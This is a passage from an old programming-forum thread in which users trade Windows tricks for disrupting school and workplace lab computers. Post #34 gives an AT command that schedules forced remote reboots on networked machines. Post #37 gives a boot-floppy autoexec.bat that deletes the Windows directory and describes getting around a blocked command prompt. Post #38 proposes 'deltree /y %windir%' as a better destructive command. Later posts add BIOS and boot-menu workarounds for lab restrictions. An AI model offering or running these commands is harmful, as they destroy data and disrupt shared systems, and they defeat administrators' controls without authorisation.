Thread: Net Send

  1. #31
    Banal internet user
    Join Date
    Aug 2002
    Posts
    1,380
    ok, so use snprintf... ?

  2. #32
    Wen Resu
    Join Date
    May 2003
    Posts
    219
    that shutdown commands make me love you
    my school lab is entirely squencialy names Lab203-1 threw too lab203-31

  3. #33
    C++ Developer XSquared's Avatar
    Join Date
    Jun 2002
    Location
    Ontario, Canada
    Posts
    2,718
    >>that shutdown commands make me love you


    >>my school lab is entirely squencialy names Lab203-1 threw too lab203-31
    One of our Comp-Sci teachers lets me use a program, available to computer teachers only, called WatchDawg. It's basically a backdoor which allows the teachers to monitor what each student is doing, take screenshots, send messages, open programs, and (of course) restart.

    Oh, and it is school-wide, not just accessing one lab.
    Naturally I didn't feel inspired enough to read all the links for you, since I already slaved away for long hours under a blistering sun pressing the search button after typing four whole words! - Quzah

    You. Fetch me my copy of the Wall Street Journal. You two, fight to the death - Stewie

  4. #34
    Banal internet user
    Join Date
    Aug 2002
    Posts
    1,380
    If you want to be a REAL pain with the shutdown (actually, the -r switch makes it reboot), use the AT command to remotely schedule the shutdown (or restart command), so... you can schedule computers on your workgroup (er, this is assuming they are either running 2000 or XP) to reboot, say... everyday at noon forcefully (no saves, forces all programs closed then reboots) muahahaha...

    example:
    -------------
    at \\computername 12:00 /EVERY:m,t,w,th,f,s,su "shutdown -r -t 1 -f"

    may require tweaking, but... hehe, AT + shutdown == goot fun if you have the access...

  5. #35
    Wen Resu
    Join Date
    May 2003
    Posts
    219
    I made a nice little delphi app for my schoosl tech. Basicly it lets you shut down every PC on network at once thats runing it. I was about to set it up so it had a nice tray icon and what not but then i decided to learn c++ and screw delphi :P

  6. #36
    Banal internet user
    Join Date
    Aug 2002
    Posts
    1,380
    if you can use AT with computers in your workgroup... uh, just think about the potential

  7. #37
    Registered User major_small's Avatar
    Join Date
    May 2003
    Posts
    2,787
    Originally posted by RoD
    dont know batch files and what not, trying to find a way around my wall
    here's a way to get the command prompt if your school/workplace tries to block it:

    1. restart comp, enter BIOS
    2. change boot sequence so removeable or a: is first
    3. put in disk and restart

    the disk contents:
    command.com
    autoexec.bat


    autoexec.bat:
    @echo off
    a:\command.com
    del c:\windows


    4. take disk out, reboot, and walk away...


    //note: actually, this deletes windows and you won't be able to reboot again... it will give you an error and ask to either reboot or enter BIOS... all the network admin needs to do is clone the computer and it's back up... I use it to guage how well a network is monitored and kept up...

    //to get the command prompt, leave out the last line of autoexec.bat
    Last edited by major_small; 05-28-2003 at 11:25 AM.
    Join is in our Unofficial Cprog IRC channel
    Server: irc.phoenixradio.org
    Channel: #Tech


    Team Cprog Folding@Home: Team #43476
    Download it Here
    Detailed Stats Here
    More Detailed Stats
    52 Members so far, are YOU a member?
    Current team score: 1223226 (ranked 374 of 45152)

    The CBoard team is doing better than 99.16% of the other teams
    Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)

    Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT

  8. #38
    C++ Developer XSquared's Avatar
    Join Date
    Jun 2002
    Location
    Ontario, Canada
    Posts
    2,718
    Wouldn't "deltree /y %windir%" work better?
    Naturally I didn't feel inspired enough to read all the links for you, since I already slaved away for long hours under a blistering sun pressing the search button after typing four whole words! - Quzah

    You. Fetch me my copy of the Wall Street Journal. You two, fight to the death - Stewie

  9. #39
    carry on JaWiB's Avatar
    Join Date
    Feb 2003
    Location
    Seattle, WA
    Posts
    1,972
    Where do you guys learn this stuff lol? Is it possible to send a command to another computer, like say telling it to run a program...
    "Think not but that I know these things; or think
    I know them not: not therefore am I short
    Of knowing what I ought."
    -John Milton, Paradise Regained (1671)

    "Work hard and it might happen."
    -XSquared

  10. #40
    Me -=SoKrA=-'s Avatar
    Join Date
    Oct 2002
    Location
    Europe
    Posts
    448
    Originally posted by JaWiB
    Where do you guys learn this stuff lol?
    I'd tell you, but then I'd have to kill you. J/K .
    Really most of it is just basic DOS commands (or windows console, which is the same but better).

    Do you have to do anything to the floppy to make it bootable? I tried putting autoexec.bat in a floppy but it said it wasn't bootable. Do you have to call command.com or am I just useless?
    SoKrA-BTS "Judge not the program I made, but the one I've yet to code"
    I say what I say, I mean what I mean.
    IDE: emacs + make + gcc and proud of it.

  11. #41
    Redundantly Redundant RoD's Avatar
    Join Date
    Sep 2002
    Location
    Missouri
    Posts
    6,331
    right click the floppy drive and go to format, one of the options is system disk i think u can do that and just edit the autoexec file

  12. #42
    Registered User major_small's Avatar
    Join Date
    May 2003
    Posts
    2,787
    Originally posted by XSquared
    Wouldn't "deltree /y %windir%" work better?
    the people here disabled command line arguments and blocked access to command... i had to bring in a floppy and change the boot sequence...

    yeah, you have to call command with autoexec... command is a program, not just an empty file...

    look through your personal OS... some give you an option to create a boot disk... use that to get mouse and keyboard drivers... I'll put the files on this board as an attachment...
    Join is in our Unofficial Cprog IRC channel
    Server: irc.phoenixradio.org
    Channel: #Tech


    Team Cprog Folding@Home: Team #43476
    Download it Here
    Detailed Stats Here
    More Detailed Stats
    52 Members so far, are YOU a member?
    Current team score: 1223226 (ranked 374 of 45152)

    The CBoard team is doing better than 99.16% of the other teams
    Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)

    Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT

  13. #43
    i want wookie cookies the Wookie's Avatar
    Join Date
    Oct 2002
    Posts
    455
    our school runs win98, so just press f5 (or is it f8?) as its booting, youll get to the boot options, choose command prompt, and just do whttever from there.

  14. #44
    Redundantly Redundant RoD's Avatar
    Join Date
    Sep 2002
    Location
    Missouri
    Posts
    6,331
    F8, and it works on xp, 2k, 98, nt, etc

  15. #45
    Registered User major_small's Avatar
    Join Date
    May 2003
    Posts
    2,787
    Originally posted by the Wookie
    our school runs win98, so just press f5 (or is it f8?) as its booting, youll get to the boot options, choose command prompt, and just do whttever from there.
    eh, i've never used that because i just pressed F2 and changed BIOS around... i'll do that next time though...
    Join is in our Unofficial Cprog IRC channel
    Server: irc.phoenixradio.org
    Channel: #Tech


    Team Cprog Folding@Home: Team #43476
    Download it Here
    Detailed Stats Here
    More Detailed Stats
    52 Members so far, are YOU a member?
    Current team score: 1223226 (ranked 374 of 45152)

    The CBoard team is doing better than 99.16% of the other teams
    Top 5 Members: Xterria(518175), pianorain(118517), Bennet(64957), JaWiB(55610), alphaoide(44374)

    Last Updated on: Wed, 30 Aug, 2006 @ 2:30 PM EDT

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. pointers
    By InvariantLoop in forum C Programming
    Replies: 13
    Last Post: 02-04-2005, 09:32 AM
  2. changing from name in net send command
    By cfrost in forum Networking/Device Communication
    Replies: 8
    Last Post: 05-04-2004, 07:42 PM
  3. NetBIOS net send
    By -=SoKrA=- in forum Windows Programming
    Replies: 1
    Last Post: 01-22-2004, 10:21 PM
  4. net send messenger
    By Locrieth in forum C++ Programming
    Replies: 13
    Last Post: 01-31-2003, 02:39 PM
  5. Net Send Programs
    By Unregistered in forum A Brief History of Cprogramming.com
    Replies: 5
    Last Post: 05-15-2002, 03:48 PM